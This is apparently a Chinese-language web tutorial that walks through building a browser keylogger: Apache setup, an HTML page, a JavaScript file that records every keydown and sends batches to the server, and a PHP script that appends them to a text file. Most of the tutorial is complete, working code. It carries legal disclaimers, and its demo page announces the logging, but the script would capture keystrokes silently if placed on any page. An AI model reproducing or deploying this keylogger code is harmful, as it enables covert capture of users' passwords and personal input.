用 PHP 和 JavaScript 创建键盘记录器
键盘记录器是一种常见的应用程序类型,可记录用户在计算机或手机上键入的输入。键盘记录器通常用于收集用户的个人信息,例如用户活动跟踪和输入的密码等。
在开始本教程之前,请注意:在未经所有者同意的情况下安装键盘记录器是非法的。请仅将此信息用于合法目的,例如测试安全措施或教育目的。
安装 Apache Web 服务器
要托管基本的 HTML 页面,您需要安装 Apache Web 服务器。如果您的系统上尚未安装 Apache,请使用以下命令:
sudo apt install apache2
然后将目录更改为 Apache Web 服务器位置。
cd /var/www/html
这是我放置网站文件的位置。
创建基本 HTML 页面
在本步骤中,我们将使用 Nano 文本编辑器创建一个基本 HTML 页面。
首先,打开终端并导航到要创建页面的位置。然后,使用以下命令创建一个新文件:
nano index.html
打开文件后,粘贴以下代码:
<!DOCTYPE html>
<html>
<head>
<title>键盘记录器</title>
<meta charset="utf-8">
<style>
textarea {
width: 40%;
height: 200px;
font-size: 18px;
}
</style>
<script src="keylog.js"></script>
</head>
<body>
<h1>您输入的所有内容都将被记录!</h1>
<textarea></textarea>
</body>
这段代码定义了一个简单的 HTML 页面,带有一个标题、文本区域元素和一个包含键盘记录功能的 JavaScript 文件引用。
<script src=”keylog.js”></script>
:包括一个名为“keylog.js
”的外部 JavaScript
文件,我将在下一步中创建该文件。该脚本将负责处理键盘记录功能。
<textarea></textarea>
:创建用户可以使用键盘键入的文本区域元素。
创建键盘记录器 JavaScript 文件
在本步骤中,我们将创建一个名为“keylog.js
”的 JavaScript
文件,该文件将负责键盘记录功能。
首先,打开终端并导航到要创建文件的位置。然后,使用以下命令创建一个新文件:
nano keylog.js
打开文件后,粘贴以下代码:
var keylog = {
// 设置
cache: [], // 临时存储按键
delay: 1000, // 每隔多久发送一次数据到服务器
sending: false, // 标志,允许一次上传
// 初始化
init: () => {
// 捕获按键
window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
// 发送按键
window.setInterval(keylog.send, keylog.delay);
},
// AJAX
send: () => {
if (!keylog.sending && keylog.cache.length != 0) {
// 锁定,直到这批数据发送到服务器
keylog.sending = true;
// 按键数据
var data = new FormData();
data.append("keys", JSON.stringify(keylog.cache));
keylog.cache = []; // 清除按键
// 发送
fetch("keylog.php", { method: "POST", body: data })
.then(res => res.text())
.then(res => {
keylog.sending = false; // 解锁
console.log(res); // 可选
})
.catch(err => console.error(err));
}}
};
window.addEventListener("DOMContentLoaded", keylog.init);
该代码本质上创建了一个基本的键盘记录器,用于捕获用户在网页上的按键操作。键盘记录器收集这些按键并将其发送到服务器。
收集的数据将传输到名为“keylog.php
”的服务器端脚本,您需要在下一步中创建该脚本。
创建键盘记录器服务器端脚本
在本步骤中,我们将创建一个名为“keylog.php
”的 PHP 脚本,该脚本将负责处理来自 JavaScript 脚本的键盘记录数据。
首先,打开终端并导航到要创建文件的位置。然后,使用以下命令创建一个新文件:
nano keylog.php
打开文件后,粘贴以下代码:
<?php
// (A) 打开键盘记录文件,追加模式
$file = fopen("keylog.txt", "a+");
// (B) 保存击键
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k => $v) {
fwrite($file, $v . PHP_EOL);
}
// (C) 关闭并结束
fclose($file);
echo "OK";
?>
这段代码将按以下步骤工作:
使用 fopen()
函数打开名为“keylog.txt
”的文件,以追加模式打开。使用 json_decode()
函数将来自JavaScript
脚本的键盘记录数据解码为 JSON 对象。使用 foreach()
循环遍历键盘记录数据。使用 fwrite()
函数将每个击键写入文件。使用 fclose()
函数关闭文件。
要使用此脚本,您需要确保创建名为“keylog.txt
”的文本文件。
至此,Apache Web
目录 (/var/www/html)
中应该有四个文件:index.html
、keylog.js
、keylog.php
和 keylog.txt
。您可以使用 ls 命令列出这些文件:
ls /var/www/html
您应该看到以下输出:
index.html keylog.js keylog.php keylog.txt
现在,使用以下命令重新启动 Web 服务器:
service apache2 restart
让我们在浏览器中使用本地 IP 地址访问该网页。
在文本区域中,我将输入“Hello !”。
现在让我们切换到 Apache Web
服务器位置并使用 nano
打开“keylog.txt
”文件。
nano keylog.txt
ShiftHelloShift!
正如你所看到的,我已经成功捕获了击键。
在本教程中,您学习了如何使用 PHP 和 JavaScript 创建键盘记录器。键盘记录器是一种用于捕获用户击键的工具,可以用于各种目的,例如安全审计、用户行为分析和故障排除。
然而,重要的是要注意,在用户不知情的情况下进行键盘记录是非法的且不道德的。如果您出于任何目的想要捕获击键,请确保用户完全意识到他们的击键正在被记录。
发表评论